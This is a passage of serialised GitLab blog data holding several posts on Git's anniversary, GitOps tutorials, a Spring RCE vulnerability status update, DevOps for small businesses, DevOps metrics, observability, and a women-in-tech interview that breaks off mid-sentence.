teamed up with GitHub’s distinguished software engineer Jeff King to talk about [Git’s impact on software development](https://www.infoq.com/news/2020/04/git-fifteen-anniversary-qa/).\n\n## Practical Git\n\nAlthough there’s a lot to learn about Git, Brendan and other developers consistently stress the simplicity is what sets it apart. So here are three of our most bookmarked pages of straightforward Git advice:\n\n[6 common Git mistakes and how to fix them](/blog/git-happens/)\n[Understand the new Git branch default name](/blog/new-git-default-branch-name/) \n[A guide to Git for beginners](/blog/beginner-git-guide/)\n\nSo make sure to raise a glass to 17 years of Git and its many benefits.\n",[1067,4103,2368],{"slug":14598,"featured":6,"template":678},"celebrating-17-years-of-git","content:en-us:blog:celebrating-17-years-of-git.yml","Celebrating 17 Years Of Git","en-us/blog/celebrating-17-years-of-git.yml","en-us/blog/celebrating-17-years-of-git",{"_path":14604,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14605,"content":14610,"config":14614,"_id":14616,"_type":16,"title":14617,"_source":17,"_file":14618,"_stem":14619,"_extension":20},"/en-us/blog/the-ultimate-guide-to-gitops-with-gitlab",{"title":14606,"description":14607,"ogTitle":14606,"ogDescription":14607,"noIndex":6,"ogImage":14039,"ogUrl":14608,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14608,"schema":14609},"The ultimate guide to GitOps with GitLab","This eight-part tutorial series demonstrates how to use GitLab as a best-in-class GitOps tool.","https://about.gitlab.com/blog/the-ultimate-guide-to-gitops-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The ultimate guide to GitOps with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Viktor Nagy\"}],\n        \"datePublished\": \"2022-04-07\",\n      }",{"title":14606,"description":14607,"authors":14611,"heroImage":14039,"date":14594,"body":14612,"category":734,"tags":14613},[2544],"\n\nIt is possible to use GitLab as a best-in-class GitOps tool, and this blog post series is going to show you how. [GitOps](/topics/gitops/) is an operational framework that takes DevOps best practices used for application development such as version control, collaboration, compliance, and CI/CD tooling, and applies them to infrastructure automation. This series of easy-to-follow tutorials will focus on different user problems, including provisioning, managing a base infrastructure, and deploying various third-party or custom applications on top of them, that can be solved by pairing GitOps with GitLab.\n\nHere are 8 tutorials on how to do GitOps with GitLab:\n\n**1. [Here's how to do GitOps with GitLab](/blog/gitops-with-gitlab/)**\n\nThis tutorial sets the stage for what you will learn throughout the series, including the tech concepts you'll need to know.\n\n**2. [Infrastructure provisioning with GitLab and Terraform](/blog/gitops-with-gitlab-infrastructure-provisioning/)**\n\nThis tutorial walks you through setting up the underlying infrastructure using GitLab and Terraform.\n\n**3. [Connect with a Kubernetes cluster](/blog/gitops-with-gitlab-connecting-the-cluster/)**\n\nThis tutorial demonstrates how to connect a Kubernetes cluster with GitLab for pull- and push-based deployments and easy security integrations.\n\n**4. [How to tackle secrets management](/blog/gitops-with-gitlab-secrets-management/)**\n\nThis tutorial builds on the previous tutorial to show you how to use a Kubernetes cluster connection to manage secrets within a cluster.\n\n**5. [The CI/CD tunnel](/blog/gitops-with-gitlab-using-ci-cd/)**\n\nThis tutorial introduces you to CI/CD tunnels and shows step-by-step how to access a Kubernetes cluster using GitLab CI/CD.\n\n**6. [Connecting GitLab with a Kubernetes cluster - Auto DevOps](/blog/gitops-with-gitlab-auto-devops/)**\n\nThis tutorial looks at how you can use Auto DevOps with all its bells and whistles to easily manage deployments.\n\n**7. [Connecting GitLab with a Kubernetes cluster for GitOps-style application delivery](/blog/gitops-with-gitlab/)**\n\nThis tutorial shows you how to connect an application project to a manifest project for controlled, GitOps-style deployments.\n\n**8. [Turn a GitLab agent for Kubernetes installation to manage itself](/blog/gitops-with-gitlab-manage-the-agent/)**\n\nThis tutorial is the culmination of the previous tutorials and will teach you how to turn a GitLab agent for Kubernetes installation to manage itself.\n\n\n**Read more about GitOps:**\n- [GitLab for GitOps](/solutions/gitops/)\n- [What is GitOps](/topics/gitops/)\n- [GitOps viewed as part of the Ops evolution](/blog/gitops-as-the-evolution-of-operations/)\n- [How to use a push-based approach for GitOps with GitLab scripting and variables](/blog/how-to-agentless-gitops-vars/)\n\n\n\n\n",[4103,696,534],{"slug":14615,"featured":6,"template":678},"the-ultimate-guide-to-gitops-with-gitlab","content:en-us:blog:the-ultimate-guide-to-gitops-with-gitlab.yml","The Ultimate Guide To Gitops With Gitlab","en-us/blog/the-ultimate-guide-to-gitops-with-gitlab.yml","en-us/blog/the-ultimate-guide-to-gitops-with-gitlab",{"_path":14621,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14622,"content":14627,"config":14632,"_id":14634,"_type":16,"title":14635,"_source":17,"_file":14636,"_stem":14637,"_extension":20},"/en-us/blog/updates-regarding-spring-rce-vulnerabilities",{"title":14623,"description":14624,"ogTitle":14623,"ogDescription":14624,"noIndex":6,"ogImage":14173,"ogUrl":14625,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14625,"schema":14626},"Spring framework remote code execution vulnerability updates","Actions we've taken to investigate the Spring RCE vulnerabilities.","https://about.gitlab.com/blog/updates-regarding-spring-rce-vulnerabilities","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Updates regarding Spring remote code execution vulnerabilities CVE-2022-22965 and CVE-2022-22963\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-04-07\",\n      }",{"title":14628,"description":14624,"authors":14629,"heroImage":14173,"date":14594,"body":14630,"category":674,"tags":14631},"Updates regarding Spring remote code execution vulnerabilities CVE-2022-22965 and CVE-2022-22963",[711],"\n\nWe want to share the actions we’ve taken in response to the critical Spring remote code execution vulnerabilities ([CVE-2022-22965](https://tanzu.vmware.com/security/cve-2022-22965) and [CVE-2022-22963](https://tanzu.vmware.com/security/cve-2022-22963)). Upon becoming aware of the vulnerabilities, we immediately mobilized our Security and Engineering teams to determine usage of this software component and its potential impact within our product, across our company, and within our third-party software landscapes. \n\n**At this time, no malicious activity, exploitation, or indicators of compromise have been identified on GitLab.com. Further, our product packaged Java components for both GitLab.com and self-managed instances do not use vulnerable Spring components, and thus are not vulnerable.**\n\nOur teams are continuing to investigate and monitor this issue to help protect our products and customers. We will update this blog post and notify users via a GitLab security alert with any future, related updates. \n\n## More information \n* If you've got a security question or concern, review [how to contact our Support team](/support/#contact-support).\n* [Subscribe to our security alerts mailing list](/company/contact/) (you’ll receive important security alerts and notifications via email).\n* For our recommended security practices for GitLab users, see our [“Security hygiene best practices” blog post](/blog/security-hygiene-best-practices-for-gitlab-users).\n* If you are an administrator of your own self-managed GitLab instance, consider reading our [secure configuration advice](/blog/gitlab-instance-security-best-practices/).\n",[674],{"slug":14633,"featured":6,"template":678},"updates-regarding-spring-rce-vulnerabilities","content:en-us:blog:updates-regarding-spring-rce-vulnerabilities.yml","Updates Regarding Spring Rce Vulnerabilities","en-us/blog/updates-regarding-spring-rce-vulnerabilities.yml","en-us/blog/updates-regarding-spring-rce-vulnerabilities",{"_path":14639,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14640,"content":14645,"config":14650,"_id":14652,"_type":16,"title":14653,"_source":17,"_file":14654,"_stem":14655,"_extension":20},"/en-us/blog/can-an-smb-or-start-up-be-too-small-for-a-devops-platform",{"title":14641,"description":14642,"ogTitle":14641,"ogDescription":14642,"noIndex":6,"ogImage":10619,"ogUrl":14643,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14643,"schema":14644},"Can an SMB or start-up be too small for a DevOps platform?","It may sound counter-intuitive but even a very small company or startup can take advantage of the power of a DevOps platform. Here's how.","https://about.gitlab.com/blog/can-an-smb-or-start-up-be-too-small-for-a-devops-platform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Can an SMB or start-up be too small for a DevOps platform?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2022-04-06\",\n      }",{"title":14641,"description":14642,"authors":14646,"heroImage":10619,"date":14647,"body":14648,"category":962,"tags":14649},[3907],"2022-04-06","\n\nIf you work in an IT team of five people – or maybe you’re even a team of one – it’s easy to think your business is simply too small to use DevOps.\n\nBut that’s not the case. A start-up or small and medium-sized business (SMB) is never too small to take advantage of a DevOps platform. \n\nIn fact, DevOps is [a great fit for a lot of SMBs](https://page.gitlab.com/resources-ebook-smb-beginners-guide-devops.html), or small and medium-sized enterprises (SMEs). Here’s how to understand if it will work for your team or organization and how it could help grow your business in a competitive environment.\n\n## The size of the business isn’t the issue\n\nLet’s be clear. If you are developing software, you need a DevOps platform. Size isn’t really the issue. No matter how small your business and your tech team, if you are iterating on software features, building applications, or automating parts of your product-related systems, then you do need DevOps. DevOps will even work for a team of one.\n\nHere’s how a DevOps platform can help an SMB:\n\n### Start small to foster innovation\n\nOne of the key aspects of DevOps is that it creates a [collaborative atmosphere](/blog/collaboration-communication-best-practices/), even beyond the software and IT teams. Adopting a single, end-to-end DevOps platform when your company is small or your start-up is just getting off the ground will enable and encourage everyone – whether they’re in a technical role or work in accounting, sales or as a business manager – to all work together. And that will foster innovation by bringing in ideas from people in a range of demographics and business interests. And innovative ideas will help new businesses get a foot in the door and help all SMBs grow into more successful and bigger companies.\n\n### Optimize your SMB for speed\n\nTo get established in the market, start-ups and small businesses need to deliver compelling products quickly, and be able to efficiently support them. DevOps will enable your team to [move from planning to production](/blog/pipelines-as-code/) faster and with greater ease. A DevOps platform extends through the entire software development lifecycle, from planning all the way through to launching new features, conducting analysis, and gathering feedback. Simply put, DevOps will optimize your organization for speed, which is just what SMBs and SMEs need.\n\n### Use DevOps to take on the “deep pockets”\n\nAs an SMB, you likely don’t have the deep pockets and market penetration of your more-established competitors. How do you boost your odds when taking them on? One way to increase your competitiveness is to use DevOps to boost speed and efficiency as you create new products, new services, and new ways to communicate with your customers. When you can deploy innovative ideas faster than your competitors, you’ll have a definite advantage.\n\n### Decrease your workload with automation\n\nWhen you have fewer hands to take on a huge workload, you need a way to not only speed production but to ease the number of tasks you’re facing – and all the headaches that come along with them. The [automation that is part of a DevOps platform](/blog/want-faster-releases-your-answer-lies-in-automated-software-testing/) will mean less manual work when it comes to processes like design, testing, development, deployment, and monitoring. Automation helps small teams free up time to handle all the other projects on their to-do lists. \n\n### Build security into software from the get-go\n\nWhen a company is getting started, it’s the perfect time to use DevOps to help build security into the code and processes from the very beginning. Small companies and startups need to “shift left” and focus on [security at the earliest stages](/blog/want-secure-software-development-our-top-5-tips-to-bring-dev-and-sec-together/). When security is baked in from the start, you won’t have to go back in later on to fix problems that could jeopardize your customers and your business.\n\n### Use DevOps to avoid silos\n\nMaybe your company is small enough that silos aren’t a problem… yet. But as a company grows, people often naturally separate off into [silos or groups that do not communicate with or understand each other](/blog/developing-a-successful-devops-strategy/). And they definitely don’t work well together. By fostering collaboration among IT teams and even non-technical groups across the business, a DevOps platform makes it easier to keep these silos from forming in the first place, and to break them down if they do form. As companies grow from 10 employees to 100 (or more), DevOps will help an organization stay connected and collaborative as it expands.\n\n### Start early to ensure collaboration \n\nIt’s easier to create a collaborative culture from the very beginning – when a company is still a start-up or an SMB – than to overhaul a large, established organization. Instilling an environment of [communication and collaboration](/blog/if-its-time-to-learn-devops-heres-where-to-begin/) is less disruptive and easier to manage in a company of 10, 25, or even 100 than in a much larger and complex business that is adding hundreds of employees a year. SMBs have the “nimble” advantage, meaning that change is easier than for larger competitors. \n\nSo there is no company too small to take advantage of a DevOps platform.\n",[4103,2368,2368],{"slug":14651,"featured":6,"template":678},"can-an-smb-or-start-up-be-too-small-for-a-devops-platform","content:en-us:blog:can-an-smb-or-start-up-be-too-small-for-a-devops-platform.yml","Can An Smb Or Start Up Be Too Small For A Devops Platform","en-us/blog/can-an-smb-or-start-up-be-too-small-for-a-devops-platform.yml","en-us/blog/can-an-smb-or-start-up-be-too-small-for-a-devops-platform",{"_path":14657,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14658,"content":14664,"config":14670,"_id":14672,"_type":16,"title":14673,"_source":17,"_file":14674,"_stem":14675,"_extension":20},"/en-us/blog/gitlab-top-devops-tooling-metrics-and-targets",{"title":14659,"description":14660,"ogTitle":14659,"ogDescription":14660,"noIndex":6,"ogImage":14661,"ogUrl":14662,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14662,"schema":14663},"The top DevOps tooling metrics and targets at GitLab","Here is how we measure DevOps success and why we always try to look forward.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665635/Blog/Hero%20Images/blog-performance-metrics.jpg","https://about.gitlab.com/blog/gitlab-top-devops-tooling-metrics-and-targets","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The top DevOps tooling metrics and targets at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mek Stittri\"}],\n        \"datePublished\": \"2022-04-05\",\n      }",{"title":14659,"description":14660,"authors":14665,"heroImage":14661,"date":14667,"body":14668,"category":734,"tags":14669},[14666],"Mek Stittri","2022-04-05","\n\nA successful DevOps practice relies heavily on metrics. Here at GitLab, we use seven key DevOps metrics to measure engineering efficiency and productivity.  Like many teams, we use industry standard metrics, but in some cases, we approach this data with a unique GitLab point of view. Here’s the first in a multipart look at the DevOps metrics we at GitLab think are most critical for success. Compare your metrics and results with ours, and [let’s get a conversation started](https://gitlab.com/gitlab-com/www-gitlab-com/-/issues/13202).\n\n## Master pipeline stability\n\nIt’s important to be able to measure the stability of the GitLab project’s master branch pipeline. This metric tells us how stable the main branch is, and ensures engineers are checking out code that’s in good shape. [Merge trains](https://gitlab.com/gitlab-org/quality/team-tasks/-/issues/195) are key to this effort. \n\nOur target percentage for [master pipeline stability](/handbook/engineering/quality/performance-indicators/#master-pipeline-stability  ) is above 95%.\n\n![master pipeline stability](https://about.gitlab.com/images/blogimages/dometrics1.png)\n\n## Review app deployment success rate\n\nAt GitLab we take [review apps](https://docs.gitlab.com/ee/ci/review_apps/) seriously.  We measure their success rate so we can understand the stability of our first deployed environment after code change. Review apps are spun up at MR submission. It’s important to monitor our review app successful deployments because it’s the first place where code is integrated and deployed as one unit. This metric ensures the codebase can be installed, tested, and made available for the team to preview their changes before merging into the main master branch. \n\nOur target for [review application deployment success](/handbook/engineering/quality/performance-indicators/#review-app-deployment-success-rate) is above 99%. \n\n![review app deployment success](https://about.gitlab.com/images/blogimages/dometrics2.png)\n\n## Time to First Failure\n\nTime to First Failure (TtFF, pronounced as “teuf”) measures how fast we are providing feedback to engineers. This metric examines how long it takes from pipeline creation to the first actionable failed build. The idea is that if the commit is going to fail, it should fail fast and the fail signal should get to the engineers as quickly as possible. The shorter the time to first failure, the faster the feedback loop, and faster time to action to address those failures. \n\nOur [TtFF target](/handbook/engineering/quality/performance-indicators/#time-to-first-failure) is less than 15 minutes.\n\n![TtFF or Time to First Failure](https://about.gitlab.com/images/blogimages/dometrics3.png)\n\n## Open S1 bug age\n\nThis metric focuses on the age of open S1 bugs. Many organizations measure time to close bugs. At Gitlab we focus on the age of bugs remaining. We structure the metric to focus on work that is remaining and can be actioned on. If we only measure time to close of fixed defects, we may miss addressing older defects and unintentionally incentivize closing of only newer defects. We like to look forward by asking ourselves “What’s left?” and “What can be done now?” rather than only looking backward at what’s already been done.\n\nOur target for [S1 open bug age](/handbook/engineering/quality/performance-indicators/#s1-oba) is under 100 days.\n\n![Open S1 bug age](https://about.gitlab.com/images/blogimages/dometrics4.png)\n\n## Open S2 bug age\n\nThis metric is similar to the open S1 bug age, but is focused on S2 bugs. Again, we measure the age of remaining open bugs rather than focusing on bugs that have been closed.\n\nOur target for the [open S2 bug age](/handbook/engineering/quality/performance-indicators/#s2-oba) metric is below 300 days.\n\n![Open S2 bug age](https://about.gitlab.com/images/blogimages/dometrics5.png)\n\n## Merge request pipeline duration\n\nWhen a pipeline is started for a merge request, how long does it take to run? This metric focuses on the duration of merge request pipelines and its time efficiency.  Within the total duration we break the data down into multiple  stages The team then iterates and improves time efficiencies of each stage of the pipeline. This is a key building block for improving GitLab’s code cycle time and efficiency and ensures the code is merged in a timely manner.\n\nOur target for this metric is below 45 minutes.\n\n![MR pipeline duration](https://about.gitlab.com/images/blogimages/dometrics6.png)\n\n## MR pipeline costs\n\nWe use this metric at GitLab to help us determine our Merge Request Pipeline cost efficiency. We look at the total costs for the CI runners machines for MR pipelines. Once we’ve determined that figure, we divide it by the number of merge requests. This helps us monitor cost while fine-tuning efficiency. Speed and cost moves in different directions. To help speed up you can increase resources, but it comes at a cost. Monitoring this metric enables us to be balanced and have a healthy trade-off between optimizing for cost and speed.\n\nOur target for the [MR pipeline costs](/handbook/engineering/quality/performance-indicators/#merge-requests-pipeline-cost) metric is below 7.50.\n\n![MR pipeline costs](https://about.gitlab.com/images/blogimages/dometrics7.png)\n\n## What DevOps tooling metrics are most effective for your team?\n\nWe’d like to hear what you think of our choices, and our targets, and what works, or doesn’t, for you. [Chime in here](https://gitlab.com/gitlab-com/www-gitlab-com/-/issues/13202).\n",[4103,676,942],{"slug":14671,"featured":6,"template":678},"gitlab-top-devops-tooling-metrics-and-targets","content:en-us:blog:gitlab-top-devops-tooling-metrics-and-targets.yml","Gitlab Top Devops Tooling Metrics And Targets","en-us/blog/gitlab-top-devops-tooling-metrics-and-targets.yml","en-us/blog/gitlab-top-devops-tooling-metrics-and-targets",{"_path":14677,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14678,"content":14683,"config":14688,"_id":14690,"_type":16,"title":14691,"_source":17,"_file":14692,"_stem":14693,"_extension":20},"/en-us/blog/observability-is-key-to-cloud-native-transitions-and-modern-application-development",{"title":14679,"description":14680,"ogTitle":14679,"ogDescription":14680,"noIndex":6,"ogImage":10802,"ogUrl":14681,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14681,"schema":14682},"Observability's role in cloud-native app development","Want better visibility into the entire software development lifecycle across environments? Learn how observability can help.","https://about.gitlab.com/blog/observability-is-key-to-cloud-native-transitions-and-modern-application-development","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Observability is key to cloud-native transitions and modern application development\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2022-04-05\",\n      }",{"title":14684,"description":14680,"authors":14685,"heroImage":10802,"date":14667,"body":14686,"category":8943,"tags":14687},"Observability is key to cloud-native transitions and modern application development",[3281],"\n\n_This blog post and linked pages contain information related to upcoming products, features, and functionality. It is important to note that the information presented is for informational purposes only. Please do not rely on this information for purchasing or planning purposes._\n\nModern application development requires DevOps teams to be able to collaborate and react to what is happening across the software development lifecycle. Yet, as companies move away from monolithic code bases resident on a server or cluster of virtual machines to cloud-native environments, this goal becomes more difficult to achieve. Cloud-native architectures are more complex with more elements to configure, protect, execute, and measure. To ensure maximum visibility and responsiveness to issues early on in application development and throughout the lifecycle, companies are adopting observability.\n\n## Observability defined\n\nObservability, which [451 Research](https://451research.com/) defines as the collection and analysis of data logs, metrics, and traces, becomes critical and essential with cloud-native technologies and acts as a step beyond monitoring. “The need for such an approach has been brought to the fore by complex, distributed microservices-based applications where the variables are so numerous that it can be impossible to know exactly what metrics need to be collected for the gamut of potential events that could arise,” 451 Research’s “Voice of the Enterprise: DevOps, Organizational Dynamics - Advisory Report” states.\n\n“A need to know what is happening with infrastructure and applications, particularly across hybrid and multi-cloud infrastructure, has driven broad adoption of observability,” according to the report.\n\n## How observability improves cloud-native tech adoption\n\nMore than half of organizations surveyed by 451 Research report either full adoption or some adoption at the team level of cloud-native technologies such as containers, Kubernetes, service mesh, and serverless computing. Another quarter to one-third of respondents plans to deploy cloud-native technologies.\n\nThe challenge is visibility across this new, more complex architecture. While cloud-native technologies offer more flexibility and cost efficiencies for computing resources, they can make it difficult to gain end-to-end visibility of software vulnerabilities, application performance, and quality assessments, and to be able to know where and how to affect change early on in the development lifecycle.\n\nDevOps improvements such as security and analytics are driving the adoption of observability, as is the increased need for compliance. With observability, according to 451 Research’s report, “one can query the data they have and ask any number of questions about a system, and, ideally, get an answer without having to predefine the exact data collected or tagging applied to answer the question.”\n\nIn other words, observability can provide a more flexible toolkit and enable a more active drill-down into what’s actually happening in the development lifecycle. With properly implemented observability, DevOps teams can, in real-time, identify a problem, fix it, benchmark the improvement, and measure it going forward – even in a cloud-native environment that is abstracted from knowledge of underlying systems. Having the ability to observe and measure your end-to-end DevOps efforts can reduce risk and provide greater control of cloud-native environments. \n\nDigital transformation leaders and laggards alike understand the need for observability. Nearly two-thirds of all respondents say they have adopted observability (41%) or have it in discovery/proof of concept (23%). Nearly a third plan to implement it within 12 to 24 months.\n\n“While it is great to see these adoption rates, the ultimate goal is to evolve observability’s inputs into actionable insights that positively impact the business,” says Sebastien Pahl, principal product manager at GitLab and co-founder of observability start-up OpsTrace (which was [acquired by GitLab in 2021](/press/releases/2021-12-14-gitlab-acquires-opstrace-to-expand-its-devops-platform-with-open-source-observability-solution.html)).\n\n## The benefits of observability\n\nIn modern application development, dev, sec, and ops teams share the responsibility of software development and delivery. In mature organizations, DevOps can extend to include stakeholders from compliance, legal, finance, and other departments with a direct stake in value delivery. Observability provides DevOps teams greater flexibility in how to utilize and share data across an organization.\n\nPahl likens observability to a flight crew being able to see, learn from, and react to all the data from instruments and dashboards on a plane as it is flying. “With observability, everyone can look at the same data through a different lens,” he says.\n\nObservability has significant benefits, including the following:\n\n- Developers can add code early in the development lifecycle for events they want to observe.\n\n- DevOps teams can move faster because they know when something is wrong and exactly what is wrong. They can fix problems once and move on.\n\n- Organizations can detect problems before customers do.\n\n- DevOps teams can assign certain alerts to specific individuals or teams so ops teams won’t be burned out responding to general alerts.\n\n- The inputs and metrics written through observability lay the foundation for AI and machine learning.\n\n## Observability and the DevOps Platform\n\nGitLab believes that [observability is foundational](https://opstrace.com/blog/gitlabobsvervabilityui) to a DevOps platform, and will make the capability available to all GitLab users. [Our vision](/direction/monitor/) is to make every GitLab project observable by default, with features that are easy to operate without specialized, expert skills. Teams can connect the dots between every deployment, incident, and other noteworthy events using and collaborating with telemetry data, which ultimately decreases the frequency and severity of production issues.\n\nGitLab’s observability capability is completely open-sourced and relies on open APIs such as Prometheus and OpenTelemetry so users don’t have to worry about vendor lock-in from instrumentation to alerting. It’s built into the GitLab DevOps platform to help you use the capability right away within your native workflow.\n\nLearn more about [observability and the DevOps Platform](https://about.gitlab.com/).\n\n\n\n\n\n\n\n",[4103,3949,815,754],{"slug":14689,"featured":6,"template":678},"observability-is-key-to-cloud-native-transitions-and-modern-application-development","content:en-us:blog:observability-is-key-to-cloud-native-transitions-and-modern-application-development.yml","Observability Is Key To Cloud Native Transitions And Modern Application Development","en-us/blog/observability-is-key-to-cloud-native-transitions-and-modern-application-development.yml","en-us/blog/observability-is-key-to-cloud-native-transitions-and-modern-application-development",{"_path":14695,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14696,"content":14702,"config":14709,"_id":14711,"_type":16,"title":14712,"_source":17,"_file":14713,"_stem":14714,"_extension":20},"/en-us/blog/advice-for-women-seeking-careers-in-tech",{"title":14697,"description":14698,"ogTitle":14697,"ogDescription":14698,"noIndex":6,"ogImage":14699,"ogUrl":14700,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14700,"schema":14701},"Women in Tech: Use Your Uniqueness as a Career Superpower","GitLab's Women's Team Member Resource Group shares tips on how to make a mark in this industry.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677856/Blog/Hero%20Images/collaboration.png","https://about.gitlab.com/blog/advice-for-women-seeking-careers-in-tech","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Use your uniqueness as a superpower and other advice for women seeking careers in tech\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kyla Gradin Dahl\"}],\n        \"datePublished\": \"2022-04-04\",\n      }",{"title":14703,"description":14698,"authors":14704,"heroImage":14699,"date":14706,"body":14707,"category":6634,"tags":14708},"Use your uniqueness as a superpower and other advice for women seeking careers in tech",[14705],"Kyla Gradin Dahl","2022-04-04","\n\nGitLab's [Women's Team Member Resource Group (TMRG)](/company/culture/inclusion/tmrg-gitlab-women/), a forum for women to find their voice and be heard, celebrated Women's History Month by reflecting on what it means to be a woman in technology, how they arrived here, and who inspires them. We also gathered advice for other women who want to enter or advance in this industry.\n\n## Tips for women in tech\n\nAt GitLab, we work within our [CREDIT values](https://handbook.gitlab.com/handbook/values/#credit) every day. The organization’s [team member resource groups](/company/culture/inclusion/erg-guide/) amplify our value of [Diversity, Inclusion, and Belonging](https://handbook.gitlab.com/handbook/values/#diversity-inclusion). And, aligned with our value of [transparency](https://handbook.gitlab.com/handbook/values/#transparency), we’re able to share the voices of our TMRG here with our wider GitLab community.\n\nBelow are perspectives from:\n- [Jane Gianoutsos](https://gitlab.com/jgianoutsos), Manager, Support Engineering\n- [Michelle Hodges](https://gitlab.com/mwhodges), VP of Global Channels\n- [Taharah Nix](https://gitlab.com/tnix), Associate Paralegal, Employment\n- [Sherrod Patching](https://gitlab.com/spatching), Senior Director, Technical Account Manager\n- [Juliet Wanjohi](https://gitlab.com/jwanjohi), Senior Security Engineer, Security Automation\n\n**What advice would you give to women who are considering a career in technology?**\n\n**Michelle:** Unapologetically go for it. The industry requires diverse collaborators and contributors to make sure that the technology that runs the world, our schools, our homes, etc. is made by people with diverse backgrounds, perspectives, and life experiences. Just by showing up in technology, you make a meaningful impact on the world today and for the future. \n\n**Sherrod:** Honestly, I believe that anyone from any background can be successful and fulfilled in tech. Before pivoting into tech, I started my career as a musician. In tech, we are constantly creating, which is incredibly fulfilling as a creative person.\n\n**Taharah:** I would say that there's a place for everyone in tech. A lot of times people can be intimidated when they think of working for a tech company because they may not have the experience that they think they need. However, just as with any other company, there are a lot of different business needs within the company and all perspectives are necessary. So, I would say think about what you're most comfortable doing and expand from there. There are endless opportunities for learning.\n\n**Juliet:** The first step when considering moving into a career in the technology industry would be to come up with a strategy - explore the different pathways available and identify your area of interest. The next step would be to look at ways of leveling up your skills and knowledge by doing certifications, reading books, and listening to podcasts/audiobooks related to your area of interest. \n\nLeverage your network and community connections by reaching out and having [coffee chats](/company/culture/all-remote/informal-communication/#coffee-chats) with individuals who are in the tech field to get more insight and advice on how they got into the industry and tips that helped them along the way.\n\n**What tips do you have for women working towards being senior leaders?**\n\n**Michelle:** Leadership requires authenticity in self while being focused on the success of those you lead. Know where you want to go and build those experiences into your CV intentionally. Grit and resilience will serve you well - so build them into your wheelhouse.\n\n**Sherrod:** Lead by example, even if you are in an individual contributor role. Some of the best leaders I know led long before they had a team. Know where you are going, determine the milestones to getting there, and follow through on execution.\n\n**Juliet:** Taking the lead in shaping conversations about your career path with your manager is definitely important. You can do this by drawing up a roadmap or a plan of what you aspire to achieve, and where you'd like to be in the future, and being accountable by making a habit of evaluating your progress towards your goal of becoming a senior leader. Another essential tip would be to work towards increasing your sphere of influence and forming a network of professional relationships outside of your immediate team, as this opens a doorway for more collaboration opportunities with other teams and a chance to continually hone and fine-tune your leadership skills.\n\n**Did you have any women mentors (formal or informal) when you were building your career? What was some key advice they gave you and how important do you think mentorship is for future leaders?** \n\n**Michelle:** Your “otherness” is your superpower. You have a unique way of approaching problems, leading people, and showing up in a team setting - lean into that. Don’t let your otherness impact your authenticity. Not always but often, boys are raised to be brave while girls are raised to be perfect. Do not let your desire to be perfect stand in the way of taking risks, being brave, and being authentic. \n\n**Sherrod:** I have had mentors, but not women mentors. I can't advocate enough for having someone further along than you that can help you see things from angles you can't yet see from.\n\n**Juliet:** Yes, and I still do! One key [piece of] advice that I received at the start of my career from one of my mentors was to leap out of my comfort zone and go where the opportunities are. Waiting for your career to build itself rarely works, it is up to you to be committed and work towards getting those opportunities that you feel will uplift you and get you one step closer to your goal. \n\nMentorship is an integral piece for future leaders because it gives them an opportunity to shadow and seek advice from women who have had more experience with climbing the tech career ladder, and can help them map out their career path in accordance with their interests and goals. Having a mentor also gives them the chance to receive honest and constructive feedback on any challenges that they may face, and how they can potentially turn these challenges into growth opportunities!\n\n**What has been the proudest moment in your career so far and why?** \n\n**Michelle:** Seeing previous employees and mentees thrive in their careers.\n\n**Sherrod:** One moment that comes to mind is having led the acquisition of another company in my previous role before GitLab. I led the process and was considerably out of my comfort zone, which is when I learn the most. \n\n**Jane:** I’m proud of:\n- Earning not only the trust but the respect of a team member who was adamant I was the wrong person for the role when I was being appointed to it.\n- The card I received at a farewell saying I was the most effective manager the highly regarded engineer had worked for.\n- The unexpected recommendation and thanks written for me on LinkedIn by someone I had encouraged to notice his leadership skills and who went on to do just that.\n- The call I got from a third party after another person’s farewell from an ex-employer to tell me how much that departing person referred to my influence during their farewell speech.\n- The customer who insisted on coming to my farewell with flowers and champagne.\n- The peer I first worked with in 2005 who I still discuss career growth and life decisions with.\n\n**How important are GitLab’s values in building an inclusive culture for women at GitLab?** \n\n**Michelle:** Vitally important. In the workplace, whether it's GitLab or not, women have a responsibility to drive the change that creates not only an equal workplace but an equitable workplace. Equitable meaning working motherhood, caretaking, many women’s belief they need to be perfect, the imbalance of gender or URG representation, etc. - all these and more need to be accounted for to create a truly equitable work environment \n\nGitLab’s culture provides a space for women to lean into this responsibility, speak up, and make iterative and incremental changes that will impact future generations of women in the workplace and women leadership.\n\n**Sherrod:** Incredibly. I am a wife and a mom of two little girls first and foremost, and GitLab makes it possible to have a career and a career trajectory while also not sacrificing my family. \n\n**Jane:** GitLab has genuinely been life-changing for me. Through necessity, I’ve always been ok with being often the only woman in the tech team or even the company - or at least I thought I was ok with it!\n\nThen I started working here and discovered what it was to have space held for every voice, where I wasn’t reliant on allies to hold space or amplify my voice or sanity-check my suspicions about bad behaviors. Where 